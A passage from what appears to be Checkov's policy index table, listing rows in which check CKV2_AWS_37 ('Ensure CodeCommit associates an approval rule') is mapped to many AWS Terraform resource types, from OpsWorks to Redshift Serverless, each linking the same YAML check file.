[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1897 | CKV2_AWS_37 | resource | aws_opsworks_php_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1898 | CKV2_AWS_37 | resource | aws_opsworks_rails_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1899 | CKV2_AWS_37 | resource | aws_opsworks_rds_db_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1900 | CKV2_AWS_37 | resource | aws_opsworks_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1901 | CKV2_AWS_37 | resource | aws_opsworks_static_web_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1902 | CKV2_AWS_37 | resource | aws_opsworks_user_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1903 | CKV2_AWS_37 | resource | aws_organizations_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1904 | CKV2_AWS_37 | resource | aws_organizations_delegated_administrator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1905 | CKV2_AWS_37 | resource | aws_organizations_organization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1906 | CKV2_AWS_37 | resource | aws_organizations_organizational_unit | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1907 | CKV2_AWS_37 | resource | aws_organizations_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1908 | CKV2_AWS_37 | resource | aws_organizations_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1909 | CKV2_AWS_37 | resource | aws_organizations_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1910 | CKV2_AWS_37 | resource | aws_osis_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1911 | CKV2_AWS_37 | resource | aws_paymentcryptography_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1912 | CKV2_AWS_37 | resource | aws_paymentcryptography_key_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1913 | CKV2_AWS_37 | resource | aws_pinpoint_adm_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1914 | CKV2_AWS_37 | resource | aws_pinpoint_apns_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1915 | CKV2_AWS_37 | resource | aws_pinpoint_apns_sandbox_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1916 | CKV2_AWS_37 | resource | aws_pinpoint_apns_voip_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1917 | CKV2_AWS_37 | resource | aws_pinpoint_apns_voip_sandbox_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1918 | CKV2_AWS_37 | resource | aws_pinpoint_app | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1919 | CKV2_AWS_37 | resource | aws_pinpoint_baidu_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1920 | CKV2_AWS_37 | resource | aws_pinpoint_email_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1921 | CKV2_AWS_37 | resource | aws_pinpoint_email_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1922 | CKV2_AWS_37 | resource | aws_pinpoint_event_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1923 | CKV2_AWS_37 | resource | aws_pinpoint_gcm_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1924 | CKV2_AWS_37 | resource | aws_pinpoint_sms_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1925 | CKV2_AWS_37 | resource | aws_pinpointsmsvoicev2_configuration_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1926 | CKV2_AWS_37 | resource | aws_pinpointsmsvoicev2_opt_out_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1927 | CKV2_AWS_37 | resource | aws_pinpointsmsvoicev2_phone_number | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1928 | CKV2_AWS_37 | resource | aws_pipes_pipe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1929 | CKV2_AWS_37 | resource | aws_placement_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1930 | CKV2_AWS_37 | resource | aws_prometheus_alert_manager_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1931 | CKV2_AWS_37 | resource | aws_prometheus_rule_group_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1932 | CKV2_AWS_37 | resource | aws_prometheus_scraper | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1933 | CKV2_AWS_37 | resource | aws_prometheus_workspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1934 | CKV2_AWS_37 | resource | aws_proxy_protocol_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1935 | CKV2_AWS_37 | resource | aws_qldb_ledger | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1936 | CKV2_AWS_37 | resource | aws_qldb_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1937 | CKV2_AWS_37 | resource | aws_quicksight_account_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1938 | CKV2_AWS_37 | resource | aws_quicksight_analysis | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1939 | CKV2_AWS_37 | resource | aws_quicksight_dashboard | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1940 | CKV2_AWS_37 | resource | aws_quicksight_data_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1941 | CKV2_AWS_37 | resource | aws_quicksight_data_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1942 | CKV2_AWS_37 | resource | aws_quicksight_folder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1943 | CKV2_AWS_37 | resource | aws_quicksight_folder_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1944 | CKV2_AWS_37 | resource | aws_quicksight_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1945 | CKV2_AWS_37 | resource | aws_quicksight_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1946 | CKV2_AWS_37 | resource | aws_quicksight_iam_policy_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1947 | CKV2_AWS_37 | resource | aws_quicksight_ingestion | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1948 | CKV2_AWS_37 | resource | aws_quicksight_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1949 | CKV2_AWS_37 | resource | aws_quicksight_refresh_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1950 | CKV2_AWS_37 | resource | aws_quicksight_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1951 | CKV2_AWS_37 | resource | aws_quicksight_template_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1952 | CKV2_AWS_37 | resource | aws_quicksight_theme | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1953 | CKV2_AWS_37 | resource | aws_quicksight_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1954 | CKV2_AWS_37 | resource | aws_quicksight_vpc_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1955 | CKV2_AWS_37 | resource | aws_ram_principal_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1956 | CKV2_AWS_37 | resource | aws_ram_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1957 | CKV2_AWS_37 | resource | aws_ram_resource_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1958 | CKV2_AWS_37 | resource | aws_ram_resource_share_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1959 | CKV2_AWS_37 | resource | aws_ram_sharing_with_organization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1960 | CKV2_AWS_37 | resource | aws_rbin_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1961 | CKV2_AWS_37 | resource | aws_rds_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1962 | CKV2_AWS_37 | resource | aws_rds_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1963 | CKV2_AWS_37 | resource | aws_rds_cluster_activity_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1964 | CKV2_AWS_37 | resource | aws_rds_cluster_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1965 | CKV2_AWS_37 | resource | aws_rds_cluster_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1966 | CKV2_AWS_37 | resource | aws_rds_cluster_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1967 | CKV2_AWS_37 | resource | aws_rds_cluster_role_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1968 | CKV2_AWS_37 | resource | aws_rds_cluster_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1969 | CKV2_AWS_37 | resource | aws_rds_custom_db_engine_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1970 | CKV2_AWS_37 | resource | aws_rds_export_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1971 | CKV2_AWS_37 | resource | aws_rds_global_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1972 | CKV2_AWS_37 | resource | aws_rds_instance_state | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1973 | CKV2_AWS_37 | resource | aws_rds_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1974 | CKV2_AWS_37 | resource | aws_rds_reserved_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1975 | CKV2_AWS_37 | resource | aws_redshift_authentication_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1976 | CKV2_AWS_37 | resource | aws_redshift_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1977 | CKV2_AWS_37 | resource | aws_redshift_cluster_iam_roles | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1978 | CKV2_AWS_37 | resource | aws_redshift_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1979 | CKV2_AWS_37 | resource | aws_redshift_data_share_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1980 | CKV2_AWS_37 | resource | aws_redshift_data_share_consumer_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1981 | CKV2_AWS_37 | resource | aws_redshift_endpoint_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1982 | CKV2_AWS_37 | resource | aws_redshift_endpoint_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1983 | CKV2_AWS_37 | resource | aws_redshift_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1984 | CKV2_AWS_37 | resource | aws_redshift_hsm_client_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1985 | CKV2_AWS_37 | resource | aws_redshift_hsm_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1986 | CKV2_AWS_37 | resource | aws_redshift_logging | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1987 | CKV2_AWS_37 | resource | aws_redshift_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1988 | CKV2_AWS_37 | resource | aws_redshift_partner | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1989 | CKV2_AWS_37 | resource | aws_redshift_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1990 | CKV2_AWS_37 | resource | aws_redshift_scheduled_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1991 | CKV2_AWS_37 | resource | aws_redshift_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1992 | CKV2_AWS_37 | resource | aws_redshift_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1993 | CKV2_AWS_37 | resource | aws_redshift_snapshot_copy_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1994 | CKV2_AWS_37 | resource | aws_redshift_snapshot_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1995 | CKV2_AWS_37 | resource | aws_redshift_snapshot_schedule_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1996 | CKV2_AWS_37 | resource | aws_redshift_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1997 | CKV2_AWS_37 | resource | aws_redshift_usage_limit | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1998 | CKV2_AWS_37 | resource | aws_redshiftdata_statement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1999 | CKV2_AWS_37 | resource | aws_redshiftserverless_custom_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2000 | CKV2_AWS_37 | resource | aws_redshiftserverless_endpoint_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 2001 | CKV2_AWS_37 | resource | aws_redshiftserverless_namespace | Ensure CodeCommit associates an approval rule | 